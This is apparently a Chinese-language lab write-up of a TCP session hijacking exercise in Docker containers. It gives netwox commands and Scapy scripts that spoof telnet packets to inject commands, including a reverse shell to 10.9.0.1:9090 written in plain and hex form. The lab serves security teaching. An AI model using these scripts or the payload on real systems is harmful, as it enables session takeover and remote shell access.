安装实验docker,保存下面的文件为docker-compose.yml:
version: "3"
services:
attacker:
image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volumes:/volumes
network_mode: host
Victim:
image: handsonsecurity/seed-ubuntu:large
container_name: victim-10.9.0.5
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=0
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.5
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User1:
image: handsonsecurity/seed-ubuntu:large
container_name: user1-10.9.0.6
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.6
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User2:
image: handsonsecurity/seed-ubuntu:large
container_name: user2-10.9.0.7
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.7
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24
然后执行,安装docker镜像
docker-compose -f docker-compose.yml up -d
打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh
#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash
172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务
/etc/init.d/openbsd-inetd restart
使用下面的命令可以查看是否打开了telnet
netstat -a | grep telnet
# tcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN
docker删除images,先执行docker images
查看待删除的镜像的ID,然后执行 docker ps -a
,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm
,最后再运行docker rmi
。
攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3
用wireshark截包最后一个telnet包,获得ack为1026078517,next seq为400319139,这个next seq如果是相对的relative,需要右键协议首选项,将Relative sequence numbers去掉
然后利用netwox伪造数据包,根据TCP序列号原理,新的seqnum为前一个包的ack,acknum为前面的next seq = seq + len,然后在攻击机上运行下面的命令,tcp-data为16进制数,表示abc的ASCII码
sudo netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 53010 --tcp-dst 23 --tcp-seqnum 1026078517 --tcp-acknum 400319139 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "616263"
wireshark成功截下来新发的包,可以看到172.17.0.2向172.17.0.3发送了数据为abc的telnet包,TCP会话劫持攻击成功
如果将abc改成命令,例如pwd,则将tcp-data改成70 77 64 0d 0a
,表示pwd\r\n,用wireshark抓包就可以看到服务端返回的信息了,/home/seed
按照同样的方法填写hijack_manual.py当中的相应参数值,运行python文件后,可以用wireshark抓包
hijack_manual.py代码为:
#!/usr/bin/python3
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=53146, dport=23, flags="A", seq=1445493081, ack=3500477510)
data = "\n touch /tmp/myfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
在服务端运行ls /tmp可以看到新建的文件myfile.txt,说明TCP会话劫持成功
代码为:
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.3"
DST = "172.17.0.2"
PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
ip = IP(src=DST, dst=SRC)
tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, seq=old_tcp.ack, ack=old_tcp.seq + len(old_tcp.payload), flags="A")
data = "\n touch /tmp/yzs.txt\n"
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
quit()
f = 'tcp and src host {} and dst host {}'.format(SRC, DST)
sniff(filter=f, prn=spoof,iface='docker0')
用wireshark抓包可以截获这个请求
再打开一个攻击机终端,然后运行netcat -lnvp 9090(右上角) ,另一个先修改好hijack_manual.py相应变量,seq,ack,port,以及发送的数据改成反向shell的命令 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
,然后运行hijack_manual.py(左上角),成功发包,然后在运行netcat -lnvp 9090的终端成功反向shell,服务端为左下角
wireshark抓包可以看到命令 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
使用netwox,执行命令
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 55474 --tcp-dst 23 --tcp-seqnum 1964894630 --tcp-acknum 3817643431 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data '2f62696e2f62617368202d69203e202f6465762f7463702f31302e392e302e312f3930393020303c263120323e26310a'
左边执行netwox命令,右边执行netcat -lnvp 9090,可以看到wireshark截获了带有反向shell命令的包,并且成功连接上了服务端
使用scapy自动攻击,代码只需要将上面的字符串改成/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
即可,左上角为攻击机运行hijack_auto.py文件,右上角可以看到成功进行反shell,wireshark可以看到包